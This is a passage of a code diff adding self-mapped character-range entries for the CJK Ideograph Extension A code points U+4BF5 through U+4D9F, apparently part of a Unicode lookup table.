+ ["\u4BF5", "\u4BF5"], /* CJK Ideograph Extension A */
+ ["\u4BF6", "\u4BF6"], /* CJK Ideograph Extension A */
+ ["\u4BF7", "\u4BF7"], /* CJK Ideograph Extension A */
+ ["\u4BF8", "\u4BF8"], /* CJK Ideograph Extension A */
+ ["\u4BF9", "\u4BF9"], /* CJK Ideograph Extension A */
+ ["\u4BFA", "\u4BFA"], /* CJK Ideograph Extension A */
+ ["\u4BFB", "\u4BFB"], /* CJK Ideograph Extension A */
+ ["\u4BFC", "\u4BFC"], /* CJK Ideograph Extension A */
+ ["\u4BFD", "\u4BFD"], /* CJK Ideograph Extension A */
+ ["\u4BFE", "\u4BFE"], /* CJK Ideograph Extension A */
+ ["\u4BFF", "\u4BFF"], /* CJK Ideograph Extension A */
+ ["\u4C00", "\u4C00"], /* CJK Ideograph Extension A */
+ ["\u4C01", "\u4C01"], /* CJK Ideograph Extension A */
+ ["\u4C02", "\u4C02"], /* CJK Ideograph Extension A */
+ ["\u4C03", "\u4C03"], /* CJK Ideograph Extension A */
+ ["\u4C04", "\u4C04"], /* CJK Ideograph Extension A */
+ ["\u4C05", "\u4C05"], /* CJK Ideograph Extension A */
+ ["\u4C06", "\u4C06"], /* CJK Ideograph Extension A */
+ ["\u4C07", "\u4C07"], /* CJK Ideograph Extension A */
+ ["\u4C08", "\u4C08"], /* CJK Ideograph Extension A */
+ ["\u4C09", "\u4C09"], /* CJK Ideograph Extension A */
+ ["\u4C0A", "\u4C0A"], /* CJK Ideograph Extension A */
+ ["\u4C0B", "\u4C0B"], /* CJK Ideograph Extension A */
+ ["\u4C0C", "\u4C0C"], /* CJK Ideograph Extension A */
+ ["\u4C0D", "\u4C0D"], /* CJK Ideograph Extension A */
+ ["\u4C0E", "\u4C0E"], /* CJK Ideograph Extension A */
+ ["\u4C0F", "\u4C0F"], /* CJK Ideograph Extension A */
+ ["\u4C10", "\u4C10"], /* CJK Ideograph Extension A */
+ ["\u4C11", "\u4C11"], /* CJK Ideograph Extension A */
+ ["\u4C12", "\u4C12"], /* CJK Ideograph Extension A */
+ ["\u4C13", "\u4C13"], /* CJK Ideograph Extension A */
+ ["\u4C14", "\u4C14"], /* CJK Ideograph Extension A */
+ ["\u4C15", "\u4C15"], /* CJK Ideograph Extension A */
+ ["\u4C16", "\u4C16"], /* CJK Ideograph Extension A */
+ ["\u4C17", "\u4C17"], /* CJK Ideograph Extension A */
+ ["\u4C18", "\u4C18"], /* CJK Ideograph Extension A */
+ ["\u4C19", "\u4C19"], /* CJK Ideograph Extension A */
+ ["\u4C1A", "\u4C1A"], /* CJK Ideograph Extension A */
+ ["\u4C1B", "\u4C1B"], /* CJK Ideograph Extension A */
+ ["\u4C1C", "\u4C1C"], /* CJK Ideograph Extension A */
+ ["\u4C1D", "\u4C1D"], /* CJK Ideograph Extension A */
+ ["\u4C1E", "\u4C1E"], /* CJK Ideograph Extension A */
+ ["\u4C1F", "\u4C1F"], /* CJK Ideograph Extension A */
+ ["\u4C20", "\u4C20"], /* CJK Ideograph Extension A */
+ ["\u4C21", "\u4C21"], /* CJK Ideograph Extension A */
+ ["\u4C22", "\u4C22"], /* CJK Ideograph Extension A */
+ ["\u4C23", "\u4C23"], /* CJK Ideograph Extension A */
+ ["\u4C24", "\u4C24"], /* CJK Ideograph Extension A */
+ ["\u4C25", "\u4C25"], /* CJK Ideograph Extension A */
+ ["\u4C26", "\u4C26"], /* CJK Ideograph Extension A */
+ ["\u4C27", "\u4C27"], /* CJK Ideograph Extension A */
+ ["\u4C28", "\u4C28"], /* CJK Ideograph Extension A */
+ ["\u4C29", "\u4C29"], /* CJK Ideograph Extension A */
+ ["\u4C2A", "\u4C2A"], /* CJK Ideograph Extension A */
+ ["\u4C2B", "\u4C2B"], /* CJK Ideograph Extension A */
+ ["\u4C2C", "\u4C2C"], /* CJK Ideograph Extension A */
+ ["\u4C2D", "\u4C2D"], /* CJK Ideograph Extension A */
+ ["\u4C2E", "\u4C2E"], /* CJK Ideograph Extension A */
+ ["\u4C2F", "\u4C2F"], /* CJK Ideograph Extension A */
+ ["\u4C30", "\u4C30"], /* CJK Ideograph Extension A */
+ ["\u4C31", "\u4C31"], /* CJK Ideograph Extension A */
+ ["\u4C32", "\u4C32"], /* CJK Ideograph Extension A */
+ ["\u4C33", "\u4C33"], /* CJK Ideograph Extension A */
+ ["\u4C34", "\u4C34"], /* CJK Ideograph Extension A */
+ ["\u4C35", "\u4C35"], /* CJK Ideograph Extension A */
+ ["\u4C36", "\u4C36"], /* CJK Ideograph Extension A */
+ ["\u4C37", "\u4C37"], /* CJK Ideograph Extension A */
+ ["\u4C38", "\u4C38"], /* CJK Ideograph Extension A */
+ ["\u4C39", "\u4C39"], /* CJK Ideograph Extension A */
+ ["\u4C3A", "\u4C3A"], /* CJK Ideograph Extension A */
+ ["\u4C3B", "\u4C3B"], /* CJK Ideograph Extension A */
+ ["\u4C3C", "\u4C3C"], /* CJK Ideograph Extension A */
+ ["\u4C3D", "\u4C3D"], /* CJK Ideograph Extension A */
+ ["\u4C3E", "\u4C3E"], /* CJK Ideograph Extension A */
+ ["\u4C3F", "\u4C3F"], /* CJK Ideograph Extension A */
+ ["\u4C40", "\u4C40"], /* CJK Ideograph Extension A */
+ ["\u4C41", "\u4C41"], /* CJK Ideograph Extension A */
+ ["\u4C42", "\u4C42"], /* CJK Ideograph Extension A */
+ ["\u4C43", "\u4C43"], /* CJK Ideograph Extension A */
+ ["\u4C44", "\u4C44"], /* CJK Ideograph Extension A */
+ ["\u4C45", "\u4C45"], /* CJK Ideograph Extension A */
+ ["\u4C46", "\u4C46"], /* CJK Ideograph Extension A */
+ ["\u4C47", "\u4C47"], /* CJK Ideograph Extension A */
+ ["\u4C48", "\u4C48"], /* CJK Ideograph Extension A */
+ ["\u4C49", "\u4C49"], /* CJK Ideograph Extension A */
+ ["\u4C4A", "\u4C4A"], /* CJK Ideograph Extension A */
+ ["\u4C4B", "\u4C4B"], /* CJK Ideograph Extension A */
+ ["\u4C4C", "\u4C4C"], /* CJK Ideograph Extension A */
+ ["\u4C4D", "\u4C4D"], /* CJK Ideograph Extension A */
+ ["\u4C4E", "\u4C4E"], /* CJK Ideograph Extension A */
+ ["\u4C4F", "\u4C4F"], /* CJK Ideograph Extension A */
+ ["\u4C50", "\u4C50"], /* CJK Ideograph Extension A */
+ ["\u4C51", "\u4C51"], /* CJK Ideograph Extension A */
+ ["\u4C52", "\u4C52"], /* CJK Ideograph Extension A */
+ ["\u4C53", "\u4C53"], /* CJK Ideograph Extension A */
+ ["\u4C54", "\u4C54"], /* CJK Ideograph Extension A */
+ ["\u4C55", "\u4C55"], /* CJK Ideograph Extension A */
+ ["\u4C56", "\u4C56"], /* CJK Ideograph Extension A */
+ ["\u4C57", "\u4C57"], /* CJK Ideograph Extension A */
+ ["\u4C58", "\u4C58"], /* CJK Ideograph Extension A */
+ ["\u4C59", "\u4C59"], /* CJK Ideograph Extension A */
+ ["\u4C5A", "\u4C5A"], /* CJK Ideograph Extension A */
+ ["\u4C5B", "\u4C5B"], /* CJK Ideograph Extension A */
+ ["\u4C5C", "\u4C5C"], /* CJK Ideograph Extension A */
+ ["\u4C5D", "\u4C5D"], /* CJK Ideograph Extension A */
+ ["\u4C5E", "\u4C5E"], /* CJK Ideograph Extension A */
+ ["\u4C5F", "\u4C5F"], /* CJK Ideograph Extension A */
+ ["\u4C60", "\u4C60"], /* CJK Ideograph Extension A */
+ ["\u4C61", "\u4C61"], /* CJK Ideograph Extension A */
+ ["\u4C62", "\u4C62"], /* CJK Ideograph Extension A */
+ ["\u4C63", "\u4C63"], /* CJK Ideograph Extension A */
+ ["\u4C64", "\u4C64"], /* CJK Ideograph Extension A */
+ ["\u4C65", "\u4C65"], /* CJK Ideograph Extension A */
+ ["\u4C66", "\u4C66"], /* CJK Ideograph Extension A */
+ ["\u4C67", "\u4C67"], /* CJK Ideograph Extension A */
+ ["\u4C68", "\u4C68"], /* CJK Ideograph Extension A */
+ ["\u4C69", "\u4C69"], /* CJK Ideograph Extension A */
+ ["\u4C6A", "\u4C6A"], /* CJK Ideograph Extension A */
+ ["\u4C6B", "\u4C6B"], /* CJK Ideograph Extension A */
+ ["\u4C6C", "\u4C6C"], /* CJK Ideograph Extension A */
+ ["\u4C6D", "\u4C6D"], /* CJK Ideograph Extension A */
+ ["\u4C6E", "\u4C6E"], /* CJK Ideograph Extension A */
+ ["\u4C6F", "\u4C6F"], /* CJK Ideograph Extension A */
+ ["\u4C70", "\u4C70"], /* CJK Ideograph Extension A */
+ ["\u4C71", "\u4C71"], /* CJK Ideograph Extension A */
+ ["\u4C72", "\u4C72"], /* CJK Ideograph Extension A */
+ ["\u4C73", "\u4C73"], /* CJK Ideograph Extension A */
+ ["\u4C74", "\u4C74"], /* CJK Ideograph Extension A */
+ ["\u4C75", "\u4C75"], /* CJK Ideograph Extension A */
+ ["\u4C76", "\u4C76"], /* CJK Ideograph Extension A */
+ ["\u4C77", "\u4C77"], /* CJK Ideograph Extension A */
+ ["\u4C78", "\u4C78"], /* CJK Ideograph Extension A */
+ ["\u4C79", "\u4C79"], /* CJK Ideograph Extension A */
+ ["\u4C7A", "\u4C7A"], /* CJK Ideograph Extension A */
+ ["\u4C7B", "\u4C7B"], /* CJK Ideograph Extension A */
+ ["\u4C7C", "\u4C7C"], /* CJK Ideograph Extension A */
+ ["\u4C7D", "\u4C7D"], /* CJK Ideograph Extension A */
+ ["\u4C7E", "\u4C7E"], /* CJK Ideograph Extension A */
+ ["\u4C7F", "\u4C7F"], /* CJK Ideograph Extension A */
+ ["\u4C80", "\u4C80"], /* CJK Ideograph Extension A */
+ ["\u4C81", "\u4C81"], /* CJK Ideograph Extension A */
+ ["\u4C82", "\u4C82"], /* CJK Ideograph Extension A */
+ ["\u4C83", "\u4C83"], /* CJK Ideograph Extension A */
+ ["\u4C84", "\u4C84"], /* CJK Ideograph Extension A */
+ ["\u4C85", "\u4C85"], /* CJK Ideograph Extension A */
+ ["\u4C86", "\u4C86"], /* CJK Ideograph Extension A */
+ ["\u4C87", "\u4C87"], /* CJK Ideograph Extension A */
+ ["\u4C88", "\u4C88"], /* CJK Ideograph Extension A */
+ ["\u4C89", "\u4C89"], /* CJK Ideograph Extension A */
+ ["\u4C8A", "\u4C8A"], /* CJK Ideograph Extension A */
+ ["\u4C8B", "\u4C8B"], /* CJK Ideograph Extension A */
+ ["\u4C8C", "\u4C8C"], /* CJK Ideograph Extension A */
+ ["\u4C8D", "\u4C8D"], /* CJK Ideograph Extension A */
+ ["\u4C8E", "\u4C8E"], /* CJK Ideograph Extension A */
+ ["\u4C8F", "\u4C8F"], /* CJK Ideograph Extension A */
+ ["\u4C90", "\u4C90"], /* CJK Ideograph Extension A */
+ ["\u4C91", "\u4C91"], /* CJK Ideograph Extension A */
+ ["\u4C92", "\u4C92"], /* CJK Ideograph Extension A */
+ ["\u4C93", "\u4C93"], /* CJK Ideograph Extension A */
+ ["\u4C94", "\u4C94"], /* CJK Ideograph Extension A */
+ ["\u4C95", "\u4C95"], /* CJK Ideograph Extension A */
+ ["\u4C96", "\u4C96"], /* CJK Ideograph Extension A */
+ ["\u4C97", "\u4C97"], /* CJK Ideograph Extension A */
+ ["\u4C98", "\u4C98"], /* CJK Ideograph Extension A */
+ ["\u4C99", "\u4C99"], /* CJK Ideograph Extension A */
+ ["\u4C9A", "\u4C9A"], /* CJK Ideograph Extension A */
+ ["\u4C9B", "\u4C9B"], /* CJK Ideograph Extension A */
+ ["\u4C9C", "\u4C9C"], /* CJK Ideograph Extension A */
+ ["\u4C9D", "\u4C9D"], /* CJK Ideograph Extension A */
+ ["\u4C9E", "\u4C9E"], /* CJK Ideograph Extension A */
+ ["\u4C9F", "\u4C9F"], /* CJK Ideograph Extension A */
+ ["\u4CA0", "\u4CA0"], /* CJK Ideograph Extension A */
+ ["\u4CA1", "\u4CA1"], /* CJK Ideograph Extension A */
+ ["\u4CA2", "\u4CA2"], /* CJK Ideograph Extension A */
+ ["\u4CA3", "\u4CA3"], /* CJK Ideograph Extension A */
+ ["\u4CA4", "\u4CA4"], /* CJK Ideograph Extension A */
+ ["\u4CA5", "\u4CA5"], /* CJK Ideograph Extension A */
+ ["\u4CA6", "\u4CA6"], /* CJK Ideograph Extension A */
+ ["\u4CA7", "\u4CA7"], /* CJK Ideograph Extension A */
+ ["\u4CA8", "\u4CA8"], /* CJK Ideograph Extension A */
+ ["\u4CA9", "\u4CA9"], /* CJK Ideograph Extension A */
+ ["\u4CAA", "\u4CAA"], /* CJK Ideograph Extension A */
+ ["\u4CAB", "\u4CAB"], /* CJK Ideograph Extension A */
+ ["\u4CAC", "\u4CAC"], /* CJK Ideograph Extension A */
+ ["\u4CAD", "\u4CAD"], /* CJK Ideograph Extension A */
+ ["\u4CAE", "\u4CAE"], /* CJK Ideograph Extension A */
+ ["\u4CAF", "\u4CAF"], /* CJK Ideograph Extension A */
+ ["\u4CB0", "\u4CB0"], /* CJK Ideograph Extension A */
+ ["\u4CB1", "\u4CB1"], /* CJK Ideograph Extension A */
+ ["\u4CB2", "\u4CB2"], /* CJK Ideograph Extension A */
+ ["\u4CB3", "\u4CB3"], /* CJK Ideograph Extension A */
+ ["\u4CB4", "\u4CB4"], /* CJK Ideograph Extension A */
+ ["\u4CB5", "\u4CB5"], /* CJK Ideograph Extension A */
+ ["\u4CB6", "\u4CB6"], /* CJK Ideograph Extension A */
+ ["\u4CB7", "\u4CB7"], /* CJK Ideograph Extension A */
+ ["\u4CB8", "\u4CB8"], /* CJK Ideograph Extension A */
+ ["\u4CB9", "\u4CB9"], /* CJK Ideograph Extension A */
+ ["\u4CBA", "\u4CBA"], /* CJK Ideograph Extension A */
+ ["\u4CBB", "\u4CBB"], /* CJK Ideograph Extension A */
+ ["\u4CBC", "\u4CBC"], /* CJK Ideograph Extension A */
+ ["\u4CBD", "\u4CBD"], /* CJK Ideograph Extension A */
+ ["\u4CBE", "\u4CBE"], /* CJK Ideograph Extension A */
+ ["\u4CBF", "\u4CBF"], /* CJK Ideograph Extension A */
+ ["\u4CC0", "\u4CC0"], /* CJK Ideograph Extension A */
+ ["\u4CC1", "\u4CC1"], /* CJK Ideograph Extension A */
+ ["\u4CC2", "\u4CC2"], /* CJK Ideograph Extension A */
+ ["\u4CC3", "\u4CC3"], /* CJK Ideograph Extension A */
+ ["\u4CC4", "\u4CC4"], /* CJK Ideograph Extension A */
+ ["\u4CC5", "\u4CC5"], /* CJK Ideograph Extension A */
+ ["\u4CC6", "\u4CC6"], /* CJK Ideograph Extension A */
+ ["\u4CC7", "\u4CC7"], /* CJK Ideograph Extension A */
+ ["\u4CC8", "\u4CC8"], /* CJK Ideograph Extension A */
+ ["\u4CC9", "\u4CC9"], /* CJK Ideograph Extension A */
+ ["\u4CCA", "\u4CCA"], /* CJK Ideograph Extension A */
+ ["\u4CCB", "\u4CCB"], /* CJK Ideograph Extension A */
+ ["\u4CCC", "\u4CCC"], /* CJK Ideograph Extension A */
+ ["\u4CCD", "\u4CCD"], /* CJK Ideograph Extension A */
+ ["\u4CCE", "\u4CCE"], /* CJK Ideograph Extension A */
+ ["\u4CCF", "\u4CCF"], /* CJK Ideograph Extension A */
+ ["\u4CD0", "\u4CD0"], /* CJK Ideograph Extension A */
+ ["\u4CD1", "\u4CD1"], /* CJK Ideograph Extension A */
+ ["\u4CD2", "\u4CD2"], /* CJK Ideograph Extension A */
+ ["\u4CD3", "\u4CD3"], /* CJK Ideograph Extension A */
+ ["\u4CD4", "\u4CD4"], /* CJK Ideograph Extension A */
+ ["\u4CD5", "\u4CD5"], /* CJK Ideograph Extension A */
+ ["\u4CD6", "\u4CD6"], /* CJK Ideograph Extension A */
+ ["\u4CD7", "\u4CD7"], /* CJK Ideograph Extension A */
+ ["\u4CD8", "\u4CD8"], /* CJK Ideograph Extension A */
+ ["\u4CD9", "\u4CD9"], /* CJK Ideograph Extension A */
+ ["\u4CDA", "\u4CDA"], /* CJK Ideograph Extension A */
+ ["\u4CDB", "\u4CDB"], /* CJK Ideograph Extension A */
+ ["\u4CDC", "\u4CDC"], /* CJK Ideograph Extension A */
+ ["\u4CDD", "\u4CDD"], /* CJK Ideograph Extension A */
+ ["\u4CDE", "\u4CDE"], /* CJK Ideograph Extension A */
+ ["\u4CDF", "\u4CDF"], /* CJK Ideograph Extension A */
+ ["\u4CE0", "\u4CE0"], /* CJK Ideograph Extension A */
+ ["\u4CE1", "\u4CE1"], /* CJK Ideograph Extension A */
+ ["\u4CE2", "\u4CE2"], /* CJK Ideograph Extension A */
+ ["\u4CE3", "\u4CE3"], /* CJK Ideograph Extension A */
+ ["\u4CE4", "\u4CE4"], /* CJK Ideograph Extension A */
+ ["\u4CE5", "\u4CE5"], /* CJK Ideograph Extension A */
+ ["\u4CE6", "\u4CE6"], /* CJK Ideograph Extension A */
+ ["\u4CE7", "\u4CE7"], /* CJK Ideograph Extension A */
+ ["\u4CE8", "\u4CE8"], /* CJK Ideograph Extension A */
+ ["\u4CE9", "\u4CE9"], /* CJK Ideograph Extension A */
+ ["\u4CEA", "\u4CEA"], /* CJK Ideograph Extension A */
+ ["\u4CEB", "\u4CEB"], /* CJK Ideograph Extension A */
+ ["\u4CEC", "\u4CEC"], /* CJK Ideograph Extension A */
+ ["\u4CED", "\u4CED"], /* CJK Ideograph Extension A */
+ ["\u4CEE", "\u4CEE"], /* CJK Ideograph Extension A */
+ ["\u4CEF", "\u4CEF"], /* CJK Ideograph Extension A */
+ ["\u4CF0", "\u4CF0"], /* CJK Ideograph Extension A */
+ ["\u4CF1", "\u4CF1"], /* CJK Ideograph Extension A */
+ ["\u4CF2", "\u4CF2"], /* CJK Ideograph Extension A */
+ ["\u4CF3", "\u4CF3"], /* CJK Ideograph Extension A */
+ ["\u4CF4", "\u4CF4"], /* CJK Ideograph Extension A */
+ ["\u4CF5", "\u4CF5"], /* CJK Ideograph Extension A */
+ ["\u4CF6", "\u4CF6"], /* CJK Ideograph Extension A */
+ ["\u4CF7", "\u4CF7"], /* CJK Ideograph Extension A */
+ ["\u4CF8", "\u4CF8"], /* CJK Ideograph Extension A */
+ ["\u4CF9", "\u4CF9"], /* CJK Ideograph Extension A */
+ ["\u4CFA", "\u4CFA"], /* CJK Ideograph Extension A */
+ ["\u4CFB", "\u4CFB"], /* CJK Ideograph Extension A */
+ ["\u4CFC", "\u4CFC"], /* CJK Ideograph Extension A */
+ ["\u4CFD", "\u4CFD"], /* CJK Ideograph Extension A */
+ ["\u4CFE", "\u4CFE"], /* CJK Ideograph Extension A */
+ ["\u4CFF", "\u4CFF"], /* CJK Ideograph Extension A */
+ ["\u4D00", "\u4D00"], /* CJK Ideograph Extension A */
+ ["\u4D01", "\u4D01"], /* CJK Ideograph Extension A */
+ ["\u4D02", "\u4D02"], /* CJK Ideograph Extension A */
+ ["\u4D03", "\u4D03"], /* CJK Ideograph Extension A */
+ ["\u4D04", "\u4D04"], /* CJK Ideograph Extension A */
+ ["\u4D05", "\u4D05"], /* CJK Ideograph Extension A */
+ ["\u4D06", "\u4D06"], /* CJK Ideograph Extension A */
+ ["\u4D07", "\u4D07"], /* CJK Ideograph Extension A */
+ ["\u4D08", "\u4D08"], /* CJK Ideograph Extension A */
+ ["\u4D09", "\u4D09"], /* CJK Ideograph Extension A */
+ ["\u4D0A", "\u4D0A"], /* CJK Ideograph Extension A */
+ ["\u4D0B", "\u4D0B"], /* CJK Ideograph Extension A */
+ ["\u4D0C", "\u4D0C"], /* CJK Ideograph Extension A */
+ ["\u4D0D", "\u4D0D"], /* CJK Ideograph Extension A */
+ ["\u4D0E", "\u4D0E"], /* CJK Ideograph Extension A */
+ ["\u4D0F", "\u4D0F"], /* CJK Ideograph Extension A */
+ ["\u4D10", "\u4D10"], /* CJK Ideograph Extension A */
+ ["\u4D11", "\u4D11"], /* CJK Ideograph Extension A */
+ ["\u4D12", "\u4D12"], /* CJK Ideograph Extension A */
+ ["\u4D13", "\u4D13"], /* CJK Ideograph Extension A */
+ ["\u4D14", "\u4D14"], /* CJK Ideograph Extension A */
+ ["\u4D15", "\u4D15"], /* CJK Ideograph Extension A */
+ ["\u4D16", "\u4D16"], /* CJK Ideograph Extension A */
+ ["\u4D17", "\u4D17"], /* CJK Ideograph Extension A */
+ ["\u4D18", "\u4D18"], /* CJK Ideograph Extension A */
+ ["\u4D19", "\u4D19"], /* CJK Ideograph Extension A */
+ ["\u4D1A", "\u4D1A"], /* CJK Ideograph Extension A */
+ ["\u4D1B", "\u4D1B"], /* CJK Ideograph Extension A */
+ ["\u4D1C", "\u4D1C"], /* CJK Ideograph Extension A */
+ ["\u4D1D", "\u4D1D"], /* CJK Ideograph Extension A */
+ ["\u4D1E", "\u4D1E"], /* CJK Ideograph Extension A */
+ ["\u4D1F", "\u4D1F"], /* CJK Ideograph Extension A */
+ ["\u4D20", "\u4D20"], /* CJK Ideograph Extension A */
+ ["\u4D21", "\u4D21"], /* CJK Ideograph Extension A */
+ ["\u4D22", "\u4D22"], /* CJK Ideograph Extension A */
+ ["\u4D23", "\u4D23"], /* CJK Ideograph Extension A */
+ ["\u4D24", "\u4D24"], /* CJK Ideograph Extension A */
+ ["\u4D25", "\u4D25"], /* CJK Ideograph Extension A */
+ ["\u4D26", "\u4D26"], /* CJK Ideograph Extension A */
+ ["\u4D27", "\u4D27"], /* CJK Ideograph Extension A */
+ ["\u4D28", "\u4D28"], /* CJK Ideograph Extension A */
+ ["\u4D29", "\u4D29"], /* CJK Ideograph Extension A */
+ ["\u4D2A", "\u4D2A"], /* CJK Ideograph Extension A */
+ ["\u4D2B", "\u4D2B"], /* CJK Ideograph Extension A */
+ ["\u4D2C", "\u4D2C"], /* CJK Ideograph Extension A */
+ ["\u4D2D", "\u4D2D"], /* CJK Ideograph Extension A */
+ ["\u4D2E", "\u4D2E"], /* CJK Ideograph Extension A */
+ ["\u4D2F", "\u4D2F"], /* CJK Ideograph Extension A */
+ ["\u4D30", "\u4D30"], /* CJK Ideograph Extension A */
+ ["\u4D31", "\u4D31"], /* CJK Ideograph Extension A */
+ ["\u4D32", "\u4D32"], /* CJK Ideograph Extension A */
+ ["\u4D33", "\u4D33"], /* CJK Ideograph Extension A */
+ ["\u4D34", "\u4D34"], /* CJK Ideograph Extension A */
+ ["\u4D35", "\u4D35"], /* CJK Ideograph Extension A */
+ ["\u4D36", "\u4D36"], /* CJK Ideograph Extension A */
+ ["\u4D37", "\u4D37"], /* CJK Ideograph Extension A */
+ ["\u4D38", "\u4D38"], /* CJK Ideograph Extension A */
+ ["\u4D39", "\u4D39"], /* CJK Ideograph Extension A */
+ ["\u4D3A", "\u4D3A"], /* CJK Ideograph Extension A */
+ ["\u4D3B", "\u4D3B"], /* CJK Ideograph Extension A */
+ ["\u4D3C", "\u4D3C"], /* CJK Ideograph Extension A */
+ ["\u4D3D", "\u4D3D"], /* CJK Ideograph Extension A */
+ ["\u4D3E", "\u4D3E"], /* CJK Ideograph Extension A */
+ ["\u4D3F", "\u4D3F"], /* CJK Ideograph Extension A */
+ ["\u4D40", "\u4D40"], /* CJK Ideograph Extension A */
+ ["\u4D41", "\u4D41"], /* CJK Ideograph Extension A */
+ ["\u4D42", "\u4D42"], /* CJK Ideograph Extension A */
+ ["\u4D43", "\u4D43"], /* CJK Ideograph Extension A */
+ ["\u4D44", "\u4D44"], /* CJK Ideograph Extension A */
+ ["\u4D45", "\u4D45"], /* CJK Ideograph Extension A */
+ ["\u4D46", "\u4D46"], /* CJK Ideograph Extension A */
+ ["\u4D47", "\u4D47"], /* CJK Ideograph Extension A */
+ ["\u4D48", "\u4D48"], /* CJK Ideograph Extension A */
+ ["\u4D49", "\u4D49"], /* CJK Ideograph Extension A */
+ ["\u4D4A", "\u4D4A"], /* CJK Ideograph Extension A */
+ ["\u4D4B", "\u4D4B"], /* CJK Ideograph Extension A */
+ ["\u4D4C", "\u4D4C"], /* CJK Ideograph Extension A */
+ ["\u4D4D", "\u4D4D"], /* CJK Ideograph Extension A */
+ ["\u4D4E", "\u4D4E"], /* CJK Ideograph Extension A */
+ ["\u4D4F", "\u4D4F"], /* CJK Ideograph Extension A */
+ ["\u4D50", "\u4D50"], /* CJK Ideograph Extension A */
+ ["\u4D51", "\u4D51"], /* CJK Ideograph Extension A */
+ ["\u4D52", "\u4D52"], /* CJK Ideograph Extension A */
+ ["\u4D53", "\u4D53"], /* CJK Ideograph Extension A */
+ ["\u4D54", "\u4D54"], /* CJK Ideograph Extension A */
+ ["\u4D55", "\u4D55"], /* CJK Ideograph Extension A */
+ ["\u4D56", "\u4D56"], /* CJK Ideograph Extension A */
+ ["\u4D57", "\u4D57"], /* CJK Ideograph Extension A */
+ ["\u4D58", "\u4D58"], /* CJK Ideograph Extension A */
+ ["\u4D59", "\u4D59"], /* CJK Ideograph Extension A */
+ ["\u4D5A", "\u4D5A"], /* CJK Ideograph Extension A */
+ ["\u4D5B", "\u4D5B"], /* CJK Ideograph Extension A */
+ ["\u4D5C", "\u4D5C"], /* CJK Ideograph Extension A */
+ ["\u4D5D", "\u4D5D"], /* CJK Ideograph Extension A */
+ ["\u4D5E", "\u4D5E"], /* CJK Ideograph Extension A */
+ ["\u4D5F", "\u4D5F"], /* CJK Ideograph Extension A */
+ ["\u4D60", "\u4D60"], /* CJK Ideograph Extension A */
+ ["\u4D61", "\u4D61"], /* CJK Ideograph Extension A */
+ ["\u4D62", "\u4D62"], /* CJK Ideograph Extension A */
+ ["\u4D63", "\u4D63"], /* CJK Ideograph Extension A */
+ ["\u4D64", "\u4D64"], /* CJK Ideograph Extension A */
+ ["\u4D65", "\u4D65"], /* CJK Ideograph Extension A */
+ ["\u4D66", "\u4D66"], /* CJK Ideograph Extension A */
+ ["\u4D67", "\u4D67"], /* CJK Ideograph Extension A */
+ ["\u4D68", "\u4D68"], /* CJK Ideograph Extension A */
+ ["\u4D69", "\u4D69"], /* CJK Ideograph Extension A */
+ ["\u4D6A", "\u4D6A"], /* CJK Ideograph Extension A */
+ ["\u4D6B", "\u4D6B"], /* CJK Ideograph Extension A */
+ ["\u4D6C", "\u4D6C"], /* CJK Ideograph Extension A */
+ ["\u4D6D", "\u4D6D"], /* CJK Ideograph Extension A */
+ ["\u4D6E", "\u4D6E"], /* CJK Ideograph Extension A */
+ ["\u4D6F", "\u4D6F"], /* CJK Ideograph Extension A */
+ ["\u4D70", "\u4D70"], /* CJK Ideograph Extension A */
+ ["\u4D71", "\u4D71"], /* CJK Ideograph Extension A */
+ ["\u4D72", "\u4D72"], /* CJK Ideograph Extension A */
+ ["\u4D73", "\u4D73"], /* CJK Ideograph Extension A */
+ ["\u4D74", "\u4D74"], /* CJK Ideograph Extension A */
+ ["\u4D75", "\u4D75"], /* CJK Ideograph Extension A */
+ ["\u4D76", "\u4D76"], /* CJK Ideograph Extension A */
+ ["\u4D77", "\u4D77"], /* CJK Ideograph Extension A */
+ ["\u4D78", "\u4D78"], /* CJK Ideograph Extension A */
+ ["\u4D79", "\u4D79"], /* CJK Ideograph Extension A */
+ ["\u4D7A", "\u4D7A"], /* CJK Ideograph Extension A */
+ ["\u4D7B", "\u4D7B"], /* CJK Ideograph Extension A */
+ ["\u4D7C", "\u4D7C"], /* CJK Ideograph Extension A */
+ ["\u4D7D", "\u4D7D"], /* CJK Ideograph Extension A */
+ ["\u4D7E", "\u4D7E"], /* CJK Ideograph Extension A */
+ ["\u4D7F", "\u4D7F"], /* CJK Ideograph Extension A */
+ ["\u4D80", "\u4D80"], /* CJK Ideograph Extension A */
+ ["\u4D81", "\u4D81"], /* CJK Ideograph Extension A */
+ ["\u4D82", "\u4D82"], /* CJK Ideograph Extension A */
+ ["\u4D83", "\u4D83"], /* CJK Ideograph Extension A */
+ ["\u4D84", "\u4D84"], /* CJK Ideograph Extension A */
+ ["\u4D85", "\u4D85"], /* CJK Ideograph Extension A */
+ ["\u4D86", "\u4D86"], /* CJK Ideograph Extension A */
+ ["\u4D87", "\u4D87"], /* CJK Ideograph Extension A */
+ ["\u4D88", "\u4D88"], /* CJK Ideograph Extension A */
+ ["\u4D89", "\u4D89"], /* CJK Ideograph Extension A */
+ ["\u4D8A", "\u4D8A"], /* CJK Ideograph Extension A */
+ ["\u4D8B", "\u4D8B"], /* CJK Ideograph Extension A */
+ ["\u4D8C", "\u4D8C"], /* CJK Ideograph Extension A */
+ ["\u4D8D", "\u4D8D"], /* CJK Ideograph Extension A */
+ ["\u4D8E", "\u4D8E"], /* CJK Ideograph Extension A */
+ ["\u4D8F", "\u4D8F"], /* CJK Ideograph Extension A */
+ ["\u4D90", "\u4D90"], /* CJK Ideograph Extension A */
+ ["\u4D91", "\u4D91"], /* CJK Ideograph Extension A */
+ ["\u4D92", "\u4D92"], /* CJK Ideograph Extension A */
+ ["\u4D93", "\u4D93"], /* CJK Ideograph Extension A */
+ ["\u4D94", "\u4D94"], /* CJK Ideograph Extension A */
+ ["\u4D95", "\u4D95"], /* CJK Ideograph Extension A */
+ ["\u4D96", "\u4D96"], /* CJK Ideograph Extension A */
+ ["\u4D97", "\u4D97"], /* CJK Ideograph Extension A */
+ ["\u4D98", "\u4D98"], /* CJK Ideograph Extension A */
+ ["\u4D99", "\u4D99"], /* CJK Ideograph Extension A */
+ ["\u4D9A", "\u4D9A"], /* CJK Ideograph Extension A */
+ ["\u4D9B", "\u4D9B"], /* CJK Ideograph Extension A */
+ ["\u4D9C", "\u4D9C"], /* CJK Ideograph Extension A */
+ ["\u4D9D", "\u4D9D"], /* CJK Ideograph Extension A */
+ ["\u4D9E", "\u4D9E"], /* CJK Ideograph Extension A */
+ ["\u4D9F", "\u4D9F"], /* CJK Ideograph Extension A */
